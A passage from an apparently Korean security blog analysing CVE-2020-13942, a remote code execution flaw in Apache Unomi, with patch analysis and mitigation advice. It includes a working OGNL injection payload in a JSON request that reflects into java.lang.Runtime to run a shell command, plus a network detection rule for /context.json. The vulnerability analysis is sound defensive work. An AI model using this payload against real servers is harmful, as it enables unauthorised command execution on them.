                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/OGNLTest\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
}

 

[사진 6] 조작된 요청 전송 및 200 응닶 확인

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 OGNLTest 파일이 생성

[사진 8] OGNLTest 파일 생성

 

2.2 분석

- [사진 9]는 CVE-2020-11975(Unomi OGNL 표현식 RCE)에 적용된 패치

- OGNL 표현식에 대해서는 허용/차단 목록을 통해 실행을 제한하였지만, MVEL 표현식은 적용되지 않음_[사진 1] Unomi 1.5.1 부분 패치 적용

- MVEL 표현식에 대한 실행 제한은 Unomi 1.5.2부터 적용된 것으로 판단됨.

[사진 9] CVE-2020-11975에 대한 패치

3. 대응방안

3.1 서버측면

① 최신 버전 또는 1.5.2 버전으로 즉시 업데이트 적용

- 1.5 이전 버전은 OGNL 및 MVEL 표현식에의한 RCE 가능

- 1.5.1 버전은 MVEL 표현식에 의한 RCE 가능

 

3.2 네트워크 측면

 탐지 룰 적용 및 모니터링, 차단

- PoC를 통해 POST 메소드를 통한 /context.json URL 요청이 확인되므로 해당 문자열을 탐지

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2020-13942
https://github.com/eugenebmx/CVE-2020-13942
https://github.com/vulhub/vulhub
https://sysdig.com/blog/cve-2020-13942-uomi/
https://unomi.apache.org/security/cve-2020-13942.txt

+ Recent posts